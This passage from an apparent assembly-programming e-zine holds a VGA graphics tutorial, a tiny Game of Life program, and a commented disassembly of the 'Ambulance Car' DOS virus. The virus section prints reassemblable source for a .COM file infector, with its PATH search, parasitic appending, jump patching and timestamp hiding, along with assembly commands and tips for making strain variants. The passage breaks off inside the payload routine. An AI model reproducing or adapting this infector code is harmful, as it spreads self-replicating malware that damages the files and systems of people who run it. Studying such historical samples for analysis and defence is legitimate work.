call VgaPlot ; and do the plotting
pop es, cx, bx, ax
ret
-------- PlotPix -------------------------------- End ------------
That's it to plot a pixel: just a few calls to some procedures we defined
earlier on. The msjority of this procedure is comprised of the way to find the
actual bit-position in the VGA memory byte. Remember, to plot pixel 0 we need
bit 7!
Therefore we load CX with the current X value, correct this for the current
window position and isolate the lower 3 bits. These indicate the position of
the pixel in screenmemory.
mov cx, [di.CurrX] ; calculate plottingmask
add cx, [di.Win_X]
and cx, 0111xB ; cl = position in byte
At this point, CL contains the n-th bit in this byte. So I load AH with the
binary pattern 10000000 and shift it right until the corresponding bit
position is reached:
mov ah, 080
shr ah, cl ; now move the high bit backwards...
I don't know if there are batches of Intel CPU's that have a problem with the
SHR instruction is CL equals zero, but I have not yet noticed any.
Lines: series of pixels.
------------------------
There are three kinds of lines: horizontal, vertical and sloped ones. Vertical
lines are plotted pixel by pixel since all of them end up in different bytes
of VGA memory. Sloped lines are best taken care of by a Bresenham-style line
drawing algorithm (although the digital differential analyser is better).
Horizontal lines are a different kind of line. In these, several adjacent
pixels are plotted. And adjacent pixels mainly are in the same VGA memory
byte. Therefore I made two horizontal line drawers. The one for short lines
(less than 17 pixels) just plots the pixels one by one.
The other algorithm, for lines of 17 pixels or more, tries to fill VGA memory
with as much byte writes as possible.
Taking care of longer horizontal lines.
---------------------------------------
Suppose our line is composed as follows:
First 1 2 3 ... K Last ; byte in video memory
......## ######## ######## ###...### ###..... ; # = pixel to be set
So our line starts at pixel 6 (i.e. bit 1) of VGA memory byte "First". Next it
lasts for N pixels and the last pixel to plot is pixel 2 (or bit 5).
We need some variables to calculate how to proceed with this in the shortest
possible time. This needs some calculations, so for short lines the math
overhead is more work than the actual plotting will take up.
First 1 2 3 ... K Last ; byte in video memory
......## ######## ######## ###...### ###..... ; # = pixel to be set
We first need to know the E-value which describes the number of pixels to plot
in the very first byte. The E-value is calculated as follows:
E-val = 8 - ((CurrX + Win_X) AND 7)
Now we know the number of pixels to plot in the very first VGA memory
location. It would however come in handy if we would know with which plotting
mask this would correspond. That's why we use it to derive the E-mask:
E-mask = FF shr ((8 - E-val) AND 7)
Next we need to know how many pixels there need to be plotted in the last
memory location. L-value and L-mask are determined as follows:
L-val = (Total - E-val) AND 7
L-mask = 080 sar L-val
With the SAR we shift signbits to the right until the number of pixels
corresponds with the number of bits in the mask.
The last parameter we need to know is the actual speeding-up part: the full
bytes that can be plotted. The octet-part of the routine. We do this as
follows:
K-val = (T - E-val - L-val)/8
Now it also becomes clear why I kept the E-val and L-val parameters. They're
just needed for getting the right value for K-val.
There is, however one exceptional situation. Suppose the line we need to plot
is 26 pixels long, starting at pixel 6. This would produce the values:
E-val = 2 E-mask = 00000011
L-val = (26 - 2) AND 7 = 24 AND 7 = 0 L-mask = 00000000
K-val = (26 - 2 - 0)/8 = 3
So, if the line ends on a byte boundary, we may NOT try to plot <A LOT> of
pixels past it (in a plotting loop that starts with CX = 0).
What the H_line procedure does is no more than what I decribed above. Here
comes the source:
-------- H_Line -------------------------------- Start -----------
L0: mov cx, [di.DeltaX] ; do a short line
L1: call PlotPix ; by just repeating a single pixel-
inc [di.CurrX] ; plot and update of CurrX
loop L1 ; until done
pop es, cx, bx, ax
ret
H_Line: push ax, bx, cx, es ; optimized horizontal line drawing
cmp [di.DeltaX], 17 ; too few pixels for a bulk draw?
jb L0
mov cx, [di.CurrX] ; do a long line
add cx, [di.Win_X] ; first get the E-value as described
and cx, 0111xB ; above
mov bx, 8
sub bx, cx
mov [E_val], bx ; pixels to plot in leftmost byte
mov al, 0FF ; now compose the mask to use there
shr al, cl
mov [E_mask], al ; and store it in memory
mov cx, [di.DeltaX] ; CX = length of line
sub cx, [E_val] ; compensate for first-byte pixels
mov ax, cx
and ax, 0111xB ; this many pixels in rigthmost byte
mov [L_val], ax ; and store it in memory
sub cx, ax ; CX = number of pixels inbetween
shr cx, 3 ; divide by 8 pixels per byte
mov [K_val], cx ; number of "full" bytes to plot
clr al ; AL := 0
mov cx, [L_val] ; prepare to compose L-mask
cmp cx, 0 ; any bits in "last byte"
IF ne mov al, bit 7 ; if any bits, setup AH register
dec cx ; compensate for pixel 0, ...
sar al, cl ; ... compose plotting mask and ...
mov [L_mask], al ; ... store it into memory.
; that's it. Let's plot!
call VGaddr ; load BX with address of byte in
; VGA memory
mov ah, [E_mask]
call SetMask ; set plotting mask and ...
call VgaPlot ; ... plot leftmost part
inc bx ; get adjacent address
mov cx, [K_val] ; prepare for bulk-filling
jcxz >L4 ; if nothing to do, jump out
mov ah, 0FF ; else set ALL PIXELS mask
call SetMask
L3: call VgaPlot ; plot middle part
inc bx
loop L3 ; until done
L4: mov ah, [L_mask]
call SetMask
call VgaPlot ; plot remaining pixels
mov ax, [di.DeltaX]
add [di.CurrX], ax ; make sure CurrX is updated
pop es, cx, bx, ax ; and git outa'here
ret
-------- H_Line --------------------------------- End ------------
The preparations are the bulk of the work, but after that is done, the line is
plotted with the lowest amount of I/O overhead.
Vertical lines.
---------------
Vertical lines are simply plot by repeatedly calling PlotPix. It's so simple
that neither need nor want to elaborate on it:
-------- VertLin ------------------------------- Start -----------
VertLin: push cx ; draw a vertical line
mov cx, [di.DeltaY]
L0: call PlotPix
inc [di.CurrY] ; adjust Y coordinate
loop L0 ; but not X value!
pop cx
ret
-------- VertLin -------------------------------- End ------------
What to do with linedrawing functions?
--------------------------------------
Now that we can draw lines, we can also draw boxes and window borders. This
all looks very professional and the overview of a program is enhanced
considerably. Try to figure out how to make the box-drawers by yourself.
Plotting text.
--------------
Now that we have windows that can be put at any plotting position, we also
need to be able to position text at any position. It doesn't look nice if
different windows force text to default to byte boundaries. And with the
experience we got from the H_line function, we are able to make a character
plotter that puts text on screen at ANY position.
I use a 9 x 16 character set. The nineth bit is just always blank, but it
enhances readability considerably. The pixels in the bitmap are all 8 bits
wide and 16 pixels tall.
In exceptional cases, the bitmaps can be plotted at byte boundaries. In 85+ %
of the time this will not be the case. Therefore I do the following:
- do some positioning math first
- repeat 16 times:
- load the byte of the bitmap in AH
- shift AX to the right the correct number of pixels
- plot the AH part
- if plotting on a byte boundary, we're done, else
- repeat 16 times:
- load the byte of the bitmap in AH
- shift AX to the right the correct number of pixels
- plot the AL part
Let's just have a look:
-------- PutChar ------------------------------- Start -----------
L0: add [di.CurrY], 16 ; process 'LF'
L1: pop es, si, cx, bx
ret
L2: mov bx, [di.Indent] ; process 'CR'
mov [di.CurrX], bx
jmp L1
PutChar: push bx, cx, si, es ; print char in al at (x,y)
cmp al, lf
je L0
cmp al, cr
je L2
mov bx, [di.CurrX]
add bx, CHR_WID
cmp bx, [di.Win_wid] ; still safe to print character?
jbe >L3 ; if so, skip over this part
mov bx, [di.Indent]
mov [di.CurrX], bx ; mimick 'CR'
add [di.CurrY], 16 ; mimick 'LF'
L3: mov cx, [di.CurrX]
add cx, [di.Win_X]
and cx, 0111xB
mov [C_val], cl ; store shiftcount for masks
mov bx, 0FF00
shr bx, cl ; setup plotting mask and ...
mov [P_mask], bx ; ... store it
clr ah ; ax = ASCII code
mov si, ax ; make address of pixels in bitmap
shl si, 4
add si, offset bitmap
call VGaddr ; bx = -> in video memory
mov ax, [P_mask] ; only the AH part is used ...
call SetMask ; ... here.
mov cx, 16 ; 16 pixel lines per token
L4: push cx ; we're in the loop now
mov ah, [si] ; AH = pixelpattern
clr al ; AL = empty
mov cl, [C_val] ; get shiftcount
shr ax, cl ; distribute pixelBYTE across a WORD
mov cl, [es:bx] ; dummy read, CL is expendable
mov [es:bx], ah ; actual plotting of this half
add bx, 80 ; point to next pixelbyte address
inc si ; next pixeldata address
pop cx
loop L4 ; and loop back
sub bx, 16 * 80 - 1 ; back to original position
mov ax, [P_mask]
cmp al, 0 ; if nothing to do, ...
je >L6 ; ... skip this chapter
mov ah, al ; else repeat the lot for the right-
call SetMask ; most pixels....
mov cx, 16
sub si, cx ; correct SI
L5: push cx
mov ah, [si]
clr al
mov cl, [C_val]
shr ax, cl
mov cl, [es:bx]
mov [es:bx], al
add bx, 80
inc si
pop cx
loop L5
L6: add [di.CurrX], CHR_WID ; adjust CurrX value before ...
jmp L1 ; ... getting a hike
-------- PutChar -------------------------------- End ------------
So far for plotting text. This routine will dump any character in any place of
the graphics screen. But it needs a CurrX and a CurrY value to know where to
plot things. This is both an advantage and a disadvantage. The advantage is
that we can plot ANYWHERE we like. The disadvantage is that we need to
elaborately specify CurrX and CurrY before the text is where we would like to
have it.
That's why I made the constrcut with the Topic and TopicEnd macro's, as
described above.
Here comes the code for printing a table on screen. We spent a lot of time on
the preparations, and this is the stage where it is going to pay off. Look how
much code we need for printing neat sets of tokens and characters on screen.
-------- Print --------------------------------- Start -----------
print: mov ah, [di.TxtCol] ; print a table of text
call SetColr
L0: lodsw ; get Xpos
cmp ax, 0F000 ; end of table?
je ret ; exit, if so
mov [di.CurrX], ax
lodsw ; get Ypos
mov [di.CurrY], ax
L1: lodsb ; get text
cmp al, 0
je L0
call putchar ; and print it
jmp L1 ; until this line is done
-------- Print ---------------------------------- End ------------
Wit this approach, and starting from a working (empty) framework of routines,
you can design the userinterface of your software within the hour. And it will
look just fine.
The actual code is then the only thing you need to worry about.....
Having such routines, which have been tested and found reliable, you make the
user interface easily and are able to concentrate on the actual coding the
maximum amount of time. If the screen needs another layout (since you couldn't
realize the function you considered), just change a few entries in the table.
Many times just the X or Y values need some adjustment for better lining up,
or for regrouping. No need to worry about the order of the plotting. Just make
sure that the correct window is selected (for the colours) and that the table
is terminated by a TopicEnd.
Conclusion.
-----------
So far my elaboration on the VGA mode 12h. Again, I would rather use 800 x 600
but that mode is not standardised. VGA 12h is standard on all VGA cards, so
it's the best we can universally get and for many applications it is more than
enough.
Please try to make the BoxDrawing function. I will submit the "solution" to
the next issue. For future issues I will start working on an explanation about
mouse-usage. This little rodent is nice to control many applications. If the
screen is well layed out, you don't need the keyboard for data entry. Just drag
the mouse along the screen and poke him in the eye.
The bitmap data for the character generator can be obtained from
http://asmjournal.freeservers.com/supplements/univ-vmode.html
where the complete text of the article has been archived.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
Conway's Game of Life
by Laura Fairhead
I had the idea for this one day after stumbling upon a "gem" that
somebody had written to play life. It was small and fast and reminded
me of years ago when I had written many versions of this for the
BBC Master 128 (my love lost). Since I had never written a version
for the PC I thought that I would, and ended up spending some hours
trimming off the bytes until it is now :- 156 bytes long. I must admit
if it was not for the program that I found, this program would have been
MUCH slower than it is. After I had written the code I tested it against
the program that I had found and to my perplexity it was a great deal
slower. After some hours of frustration I found the reason:- my program
was accessing the video memory to do the bulk of its work. This must have
brought about a factor of 12 decrease in speed!!
Life is a classic game of cellular automata by John Conway. It is
played on an nxn grid of squares. Each square may be occuppied by a
cell or empty. Each 'go' of the game the player calculates the next
generation of a colony of cells by applying three simple rules:-
(i) a cell with less than 2 or more than 3 neighbours dies
(ii) a cell with 2 or 3 neighbours survives
(iii) a cell is born in a square with exactly 3 neighbours
A neighbouring square is one diagonally adjacent as well as the
normal horizontal/vertical so each square has 8 neighbouring squares.
Overview of the code
~~~~~~~~~~~~~~~~~~~~
First, note that if we define
S:=state of square in this generation (0=empty, 1=occupied)
N:=number of neighbours
S':=state of square in the next generation
then according to the rules
S'={0, if N<2 or N>3
{1, if (N=2 or N=3) and S=1
{1, if N=3
so S'=1 iff (N=2 and S=1) or N=3
this can be simplified using bitwise-OR to the dramatically simple:
S'= ( N|S=3 )
note: iff means "if and only if"
"A iff B" means that A => B and B => A
The code uses one big array with one byte for each square that
starts just after the program end. To save space it just assumes that it
can use this memory since this is generally okay. However this is
very bad practice really and it should use AH=04Ah/int 021h to adjust
the memory size and abort if not successful.
The big array actually serves the purpose of 2 arrays; bit0 of
a byte indicates the state of the square in the current generation. bit4
of each byte indicates the state of the square in the next generation.
After initialisation, generation 0 is calculated by filling about
1/4 of the array with 1's.
Now we do a loop to get the next generation. The screen is 0140h
bytes across and 0C8h bytes down. Therefore:-
-0141h -0140h -013Fh
-0001h . +0001h
+013Fh +0140h +0141h
If DI is the offset of the array which we are calculating for,
note that the neighbours can be summed as follows:-
MOV AX,[DI-0141h]
ADD AL,[DI-013Fh]
ADD AX,[DI+013Fh]
ADD AL,[DI+0141h]
ADD AL,[DI-1]
ADD AL,[DI+1]
ADD AL,AH
Note that if bit4 of any of the neighbours was set then we would
still have the correct total in the least significant 4 bits of AL.
So from here the new cell state can be calculated simply:-
OR AL,[DI]
AND AL,0Fh
CMP AL,3
And if ZF=1 now we have a set cell.
JNZ ko
OR BYTE PTR [DI],010h
ko:
When the next generation has been calculated we have done most of
the work. The only thing is that if we want to iterate we need all
of those bit4 's moved to bit0, also we want to display the next
generation, this can be done easily at the same time.
Note that due to the structure of the code generation#0 is never
displayed. Also we always have blue cells. Despite this it is quite
an entertaining little program to watch....
The source here is in MASM format but should be trivial to convert
to run on any assembler. It is assembled into a .COM file which means
you should use the /T option on the linker (T=tiny).
===========START OF CODE===================================================
OPTION SEGMENT:USE16
.386
cseg SEGMENT BYTE
ASSUME NOTHING
ORG 0100h
kode PROC NEAR
;
;mode 013h=320x200x256 (0140hx0C8h) and be kind with the stack
;
MOV SP,0100h
MOV AX,013h
INT 010h
;
;use current time as random number seed
;in BP,DX which is used later
;
MOV AH,02Ch
INT 021h
MOV BP,CX
;
;get seg address of 1st seg after code for array store start
;for now ES points there and DS=screen
;
MOV AX,DS
ADD AX,01Ah ;(OFFSET endofprog+0Fh>>4)=(1A)
MOV ES,AX
MOV AX,0A000h
MOV DS,AX
;
;CREATE GENERATION#0
; this is done by filling approx 1/4 of the cells in the array
; 'randomly', while taking care not to fill any edge cells
;
;
;blank the array
; this is done to ensure the edge cells are clear
;
XOR DI,DI
MOV CX,0FA00h
REP STOSB
;
;fill the array
; two nested loops, CL counts the rows, SI counts the columns
; this is so that after each row DI can be bumped past the edge
;
MOV CL,0C6h
MOV DI,0141h ;array offset we are addressing
;
;BX is 0141h from now until exit, it is used as a constant later
;
MOV BX,DI
lopr0: MOV SI,-013Eh
;
;iterate random number seed in BP,DX
;
lopr: LEA AX,[BP+DI]
ROR BP,3
XOR BP,DX
SUB DX,AX
;
;set cell with probability 1/4
;
CMP AL,0C0h
SBB AL,AL
INC AX
STOSB
;
;
INC SI
JNZ lopr
SCASW ;DI+=2, skipping edge
LOOP lopr0
;
;now we set DS=array, ES=screen. this doesn't change until exit
;
PUSH ES
PUSH DS
POP ES
POP DS ;DS=vseg,ES=0A000h throughout
;
;'mlop' is the main loop, outputting generations until the user terminates
;
mlop:
;
;CREATE NEXT GENERATION
;
MOV DI,BX ;DI=0141h
;
;'lopy' is the loop for rows, a count is not needed because we can get
;the stop point from testing the array offset DI
;
lopy: MOV SI,013Eh
;
;'lopx' is the loop for columns, SI holds the count
;
;
;get the total number of neighbours into the least significant 4 bits of AL
;
lopx: MOV AX,[DI-0141h]
ADD AL,[DI-013Fh]
ADD AX,[DI+BX-2]
ADD AL,[DI+BX]
ADD AL,[DI-1]
ADD AL,[DI+1]
ADD AL,AH
;
;calculate new cell state
;
OR AL,[DI]
AND AL,0Fh
CMP AL,3
JNZ SHORT ko
OR BYTE PTR [DI],010h
ko: INC DI
DEC SI
JNZ lopx
;
;(each row we miss 2 edge cells)
;
SCASW
CMP DI,0FA00h-013Fh
JC lopy
;
;FIXUP ARRAY AND DISPLAY
; bit4 is copied to bit0 in each byte. all other bits then cleared so
; cells appear as blue pixels, also the iteration loop above assumes
; that bit4 is clear on entry (it only sets it)
;
MOV CX,03E80h
XOR DI,DI
lopc: LODSD
SHR EAX,4
AND EAX,01010101h
MOV [SI-4],EAX
STOSD
LOOP lopc
;
;USER KEYPRESS?
;
MOV AH,0Bh
INT 021h
ADD AL,3
;
;no, back for next generation
;
JP mlop
;
;yes, AL=2 now so make AX=2 to go into text mode
;
CBW
INT 010h
;
;back to DOS
;
MOV AH,04Ch
INT 021h
kode ENDP
endof EQU $
cseg ENDS
END FAR PTR kode
===========END OF CODE=====================================================
While the code is optimised for size and for speed you may find that
it runs too quickly. This can be easily remidied by the addition of a wait
for vertical synchronisation loop (or vert sync as we techies call it).
Just add the following after the generation calculating code (that
is after the instruction 'JC lopy'):-
MOV DX,03DAh
lopv0: IN AL,DX
AND AL,8
JNZ lopv0
lopv1: IN AL,DX
AND AL,8
JZ lopv1
Also if you add this the program size has changed. 'endofprog' is now
01ABh, so the number of segments to add to DS to get the start of free space
is now 01Bh. You must change the instruction at the beginning of the code:-
MOV AX,DS
** ADD AX,01Bh ;(OFFSET endofprog+0Fh>>4)=(1B) **
MOV ES,AX
One final note: I use SCASW in this code to increment DI by two.
This is a well known space saving trick. However you must be wary since
it does not do just that; it reads the memory at ES:[DI]. Generally this
is fine but if DI=0FFFFh we will get a general protection fault.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
'Ambulance Car' Disassembly
by Chili
This virus has definitely my favourite payload of all times. I just love
seeing that little ambulance run across the screen with a 'siren' playing at
the same time. Other than that, the virus itself isn't much of a thing. Don't
forget though, that it is dated back to at least 1990.
It is a non-resident .COM infector, and each time an infected file is run it
will attempt to infect two files (be it in the current directory or in a
directory located in the PATH) in a parasitic manner. Infected files will
experience a 796 bytes growth, being the main virus body appended to the end of
the host. Also the host file's date and time will be preserved. On ocasion the
virus will display the 'ambulance car' payload.
The virus doesn't preserve the initial contents of AX and so programs like
HotDIR fail to run when infected. Also if there is any reference to 'PATH' in
the environment block before the actual PATH string the virus will assume that
to be the actual PATH (i.e. 'CLASSPATH=...').
Playing it safe
---------------
At the DOS prompt type "PATH ;" so that the virus will only infect files in the
current directory and you can keep track of things. Also if all you want to do
is see the payload, then comment the following lines in the source code (right
after the delta offset calculation) so that no files are infected:
call search_n_infect
call search_n_infect
Moreover you should comment the lines presented below (for the 'RedXAny' strain
look-alike) so that the payload is shown everytime the virus is run.
In case things start to get out of hand, you should do one of three things:
either disinfect the files yourself with an hex editor, use the latest version
of F-PROT (available from ftp.complex.is or through Simtel and Garbo) to scan
and clean the infected files or use my own disinfector (in another article) to
clean this specific strain.
[NOTE: F-PROT will report the strain whose source code is presented as
Ambulance.796.D]
Keep in mind that this virus is not destructive, so feel free to go ahead and
infect your entire computer (you really shouldn't do this, since accidents can
sometimes happen!).
Strains
-------
A 'RedXAny' strain look-alike can be obatined by commenting the following
lines (both in the 'payload' procedure):
jne exit_payload ; (starting with the sixth)
jnz exit_payload ; don't show payload
[NOTE: This will not give you the actual 'RedXAny' strain, but one that behaves
in the same manner - always shows the ambulance car]
Other strains exist, but will not be discussed here, has nothing of interest
would be added.
Compatibility
-------------
The virus runs ok in a Win95's DOS box. Also, remember that for the payload to
be apreciated in full, a PC Speaker is required. Bad luck for those of you who
don't have a computer with one...
Here is the disassembly:
--8<---------------------------------------------------------------------------
; Ambulance Car (aka Ambulance, RedX, Red Cross)
; Ambulance-B strain (or so it seems!)
; Disassembly by Chili for APJ #6
; Byte for byte match when assembled with TASM 4.1
; Assemble with:
; tasm /ml /m2 ambul-b.asm
; tlink /t ambul-b.obj
PSP_environment_seg equ 2Ch ; PSP location of process' environment
; block segment address
BDA_addr equ 40h ; BDA (Bios Data Area) segment address
BDA_LPT3_port_addr equ 0Ch ; BDA location of LPT3 I/O port base
; address
BDA_video_mode equ 49h ; BDA location of current video mode
BDA_timer_counter equ 6Ch ; BDA location of number of timer ticks
; (18.2 per second) since midnight
_TEXT segment word public 'code'
assume cs:_TEXT, ds:_TEXT, es:_TEXT, ss:_TEXT
org 100h
; Host and virus' main body
;--------------------------
ambulance_car proc far
; Jump over host to real beginning of virus
db 0E9h, 01h, 00h ; Harcoded relative near jump
; Host (missing the first 3 bytes)
;
; Dummy host is just 4 bytes so only a 'nop' here
host:
nop
; Calculate the delta offset
;
; This piece of code will 'fool' some disassemblers and so it will appear as:
;
; call $+4
; add [bp-7Fh], bx
; out dx, al
; add ax, [bx+di]
;
; Pretty basic, but could turn out to be somewhat annoying if used all over the
; place (for the person doing the disassembly, that is!)
;
; (because of 'db 01h'; used since the near jump above is also 3 bytes long
; and that has to be taken into account for the displacement calculation)
real_start:
call find_displacement
db 01h ; Used to make this add up to 3 bytes
find_displacement:
pop si
sub si, offset host
; Infect twice then load up the payload
call search_n_infect
call search_n_infect
call payload
; Restore host's original first 3 bytes
lea bx, [si+original_3bytes-4]
mov di, offset ambulance_car
mov al, [bx]
mov [di], al ; Restore 1st byte
mov ax, [bx+1]
mov [di+1], ax ; Restore 2nd and 3rd bytes
; Return control to host
jmp di
; Move on to next step (be it 'search_n_infect' or 'payload')
next_step:
retn
ambulance_car endp
; Search for a file and infect it
;--------------------------------
search_n_infect proc near
; Search for the file
call search
; Found any file?
mov al, byte ptr [si+file_mask-4]
or al, al ; If not, then move on to the
jz next_step ; next step
; Increase 'opened files' counter
lea bx, [si+counter-4]
inc word ptr [bx]
; Open file in read/write mode (AL - 02h)
lea dx, [si+filename-4] ; Open a File
mov ax, 3D02h ; [on entry AL - Open mode;
int 21h ; DS:DX - Pointer to filename
; (ASCIIZ string)]
; [returns AX - File handle]
; Save file handle
mov word ptr [si+file_handle-4], ax
; Read file's first 3 bytes
mov bx, word ptr [si+file_handle-4]
mov cx, 3 ; Read from File or Device,
lea dx, [si+first_3bytes-4] ; Using a Handle
mov ah, 3Fh ; [on entry BX - File handle;
int 21h ; CX - Number of bytes to
; read; DS:DX - Address of
; buffer]
; Check if already infected
mov al, byte ptr [si+first_3bytes-4]
cmp al, 0E9h ; Is first byte a near jump?
jne infect ; If not, assume virus isn't
; here, so go ahead and infect
; Move file pointer to real virus start (pointed to by the initial near jump)
mov dx, word ptr [si+first_3bytes+1-4]
mov bx, word ptr [si+file_handle-4]
add dx, 3 ; Add 3 bytes to account for
; the near jump
xor cx, cx ; Move File Pointer (LSEEK)
mov ax, 4200h ; [on entry BX - File handle;
int 21h ; CX:DX - Offset, in bytes;
; AL - Mode code ( Move
; pointer CX:DX bytes from
; beginning of file, AL - 0)]
; Read first 6 bytes from that location
mov bx, word ptr [si+file_handle-4]
mov cx, 6
lea dx, [si+six_bytes-4]
mov ah, 3Fh ; Read from File or Device,
int 21h ; Using a Handle
; Double-check if already infected
;
; Compares the bytes read with the first part of the displacement calculation
; code
mov ax, word ptr [si+six_bytes-4]
mov bx, word ptr [si+six_bytes+2-4]
mov cx, word ptr [si+six_bytes+4-4]
cmp ax, word ptr [si+ambulance_car]
jne infect
cmp bx, word ptr [si+ambulance_car+2]
jne infect
cmp cx, word ptr [si+ambulance_car+4]
je close_file ; If already infected, then go
; ahead and close the file
infect:
; Reset file pointer to end of file (AL - 2)
mov bx, word ptr [si+file_handle-4]
xor cx, cx
xor dx, dx ; Move File Pointer (LSEEK)
mov ax, 4202h ; [returns DX:AX - New pointer
int 21h ; location]
; Calculate virus' near jump relative offset
sub ax, 3 ; Account for the near jump
mov word ptr [si+relative_offset-4], ax
; Get and save file's date and time (AL - 0)
mov bx, word ptr [si+file_handle-4]
mov ax, 5700h ; Get a File's Date and Time
int 21h ; [on entry BX - File handle]
push cx ; [returns CX - Time; DX -
push dx ; Date]
; Write virus body to end of file
mov bx, word ptr [si+file_handle-4]
mov cx, virus_body - real_start
lea dx, [si+ambulance_car] ; Write to a File or Device,
mov ah, 40h ; Using a Handle
int 21h ; [on entry BX - File handle;
; CX - Number of bytes to
; write; DS:DX - Address of
; buffer]
; Write host's first 3 bytes to after virus body
mov bx, word ptr [si+file_handle-4]
mov cx, 3
lea dx, [si+first_3bytes-4]
mov ah, 40h ; Write to a File or Device,
int 21h ; Using a Handle
; Move file pointer to beginning of file
mov bx, word ptr [si+file_handle-4]
xor cx, cx
xor dx, dx
mov ax, 4200h ; Move File Pointer (LSEEK)
int 21h
; Write jump-to-virus-body code to beginning of file
mov bx, word ptr [si+file_handle-4]
mov cx, 3
lea dx, [si+jump_code-4]
mov ah, 40h ; Write to a File or Device,
int 21h ; Using a Handle
; Reset file's date and time to previous (AL - 1)
pop dx
pop cx
mov bx, word ptr [si+file_handle-4]
mov ax, 5701h ; Set a File's Date and Time
int 21h ; [on entry BX - File handle;
; CX - Time; DX - Date]
close_file:
mov bx, word ptr [si+file_handle-4]
mov ah, 3Eh ; Close a File Handle
int 21h ; [on entry BX - File handle]
retn
search_n_infect endp
; Find a file to infect, in the PATH or in the current directory
;---------------------------------------------------------------
search proc near
mov ax, ds:PSP_environment_seg
mov es, ax
push ds
mov ax, BDA_addr
mov ds, ax
mov bp, ds:BDA_timer_counter
pop ds
; Where to infect
;
; Probability of infecting in the current directory (none of the first two
; lower bits of BP being set) is 1/4 (25%), while probability of searching in
; the PATH for a directory where to infect (one or both of the first two lower
; bits of BP being set) is 3/4 (75%)
test bp, 00000011b ; Check if we are to infect in
jz check_cur_dir ; the current directory or in
; a PATH directory
; Find the PATH string in the environment block
;
; Format of environment block (from Ralph Brown's Interrupt List):
;
; Offset Size Description
; ------ ---- -----------
; 00h N BYTEs first environment variable, ASCIIZ string of form "var=value"
; N BYTEs second environment variable, ASCIIZ string
; ...
; N BYTEs last environment variable, ASCIIZ string of form "var=value"
; BYTE 00h
;---DOS 3.0+ ---
; WORD number of strings following environment (normally 1)
; N BYTEs ASCIIZ full pathname of program owning this environment
; (other strings may follow)
xor bx, bx ; Point to the first character
check_if_PATH:
mov ax, es:[bx]
cmp ax, 'AP'
jne not_PATH
cmp word ptr es:[bx+2], 'HT'
je PATH_found
not_PATH:
inc bx
or ax, ax ; Check if both AH and AL are
jnz check_if_PATH ; equal to zero (meaning the
; standard environment block
; is over)
; Setup to check in the current directory
check_cur_dir:
lea di, [si+file_mask-4] ; Point to file mask holder
jmp short find_file
; Find a directory in the PATH
PATH_found:
add bx, 5 ; Point to after 'PATH='
find_dir:
lea di, [si+pathname-4] ; Point to PATH name holder
get_character:
mov al, es:[bx]
inc bx
or al, al ; Are we at the end of this
jz patch_dir ; PATH string?
cmp al, ';' ; Is this a PATH directory
je check_if_this_one ; separator?
mov [di], al ; Write this character to the
inc di ; PATH name holder
jmp short get_character
check_if_this_one:
cmp byte ptr es:[bx], 0 ; Are we at the end of this
je patch_dir ; PATH string?
shr bp, 1 ; Get rid of the first two
shr bp, 1 ; lower bits, because it's
; already known that at least
; one them is set
; Which directory to choose
;
; Probability of infecting in the found directory (none of the first two
; lower bits of BP being set) is 1/4 (25%), while probability of searching in
; the PATH for another directory where to infect (one or both of the first two
; lower bits of BP being set) is 3/4 (75%)
test bp, 00000011b ; Check if we are to search for
jnz find_dir ; files in this directory or
; not
patch_dir:
cmp byte ptr [di-1], '\' ; Does the directory already
je find_file ; have an ending '\'?
mov byte ptr [di], '\' ; If not, then add one
inc di
; Find a file to infect
find_file:
push ds
pop es
mov [si+filename_ptr-4], di ; Save current location within
; the pathname/file_mask
mov ax, '.*' ; Set file mask
stosw
mov ax, 'OC'
stosw
mov ax, 'M'
stosw
push es
mov ah, 2Fh ; Get Disk Transfer Address
int 21h ; (DTA)
; [returns ES:BX - Address of
; current DTA]
mov ax, es
mov word ptr [si+DTA_seg-4], ax ; Save DTA segment
mov word ptr [si+DTA_off-4], bx ; Save DTA offset
pop es
lea dx, [si+new_DTA-4] ; Setup new DTA
mov ah, 1Ah ; Set Disk Transfer Address
int 21h ; [on entry DS:DX - Address of
; DTA]
lea dx, [si+file_mask-4] ; Setup file mask (with or
; without a PATH directory)
xor cx, cx ; Search for normal files only
mov ah, 4Eh ; Find First Matching File
int 21h ; [on entry CX - File
; attribute; DS:DX - pointer
; to filespec (ASCIIZ string)
jnc file_found ; File found? (and no errors?)
; If no file found, then clear the file mask
xor ax, ax
mov word ptr [si+file_mask-4], ax
jmp short restore_DTA
; Check if we are to infect this file or find another one
;
; Probability of keeping the found file is 1/8 (12.5%) while probability of
; searching for another one is 7/8 (87.5%)
file_found:
push ds
mov ax, BDA_addr
mov ds, ax
ror bp, 1
xor bp, ds:BDA_timer_counter
pop ds
test bp, 00000111b
jz file_picked ; Keep this file?
; If not, then...
mov ah, 4Fh ; Find Next Matching File
int 21h
jnc file_found ; File found? (and no errors?)
; Either a file was picked or no more files where found (so keep last one)
file_picked:
mov di, [si+filename_ptr-4] ; Point to after path, if any
lea bx, [si+f_name-4]
; Copy the file name of the found file to our filename/pathname holder
store_filename:
mov al, [bx]
inc bx
stosb
or al, al ; Is the file name over?
jnz store_filename ; If not, then copy the next
; character
restore_DTA:
mov bx, word ptr [si+DTA_off-4] ; Get old DTA offset
mov ax, word ptr [si+DTA_seg-4] ; Get old DTA segment
push ds
mov ds, ax
mov ah, 1Ah ; Set Disk Transfer Address
int 21h
pop ds
retn
search endp
; Check if payload will be shown or not
;--------------------------------------
payload proc near
; Check if payload will be shown
;
; The payload will be shown only when the counter-of-opened-files matches
; ...x110 (in binary) which happens at: 6, 14, 22, 30, 38, ... 65534. Then,
; when the counter reaches its limit (65535) and goes back to zero, everything
; starts again. So probability of the payload being shown is 1/8 (12.5%) and
; of not is 7/8 (87.5%)
push es
mov ax, word ptr [si+counter-4]
and ax, 00000111b
cmp ax, 00000110b ; Show payload every eight
jne exit_payload ; (starting with the sixth)
; time
; Did we already show the payload? (since the computer was (re)booted)
mov ax, BDA_addr
mov es, ax
mov ax, es:BDA_LPT3_port_addr
or ax, ax ; If the LPT3 port is in use,
jnz exit_payload ; don't show payload
; Mark LPT3 port as in use, so that the payload won't be shown again
inc word ptr es:BDA_LPT3_port_addr
call show_payload
exit_payload:
pop es
retn
payload endp
; Setup and show the 'ambulance car' payload
;-------------------------------------------
show_payload proc near
; Check video mode
;
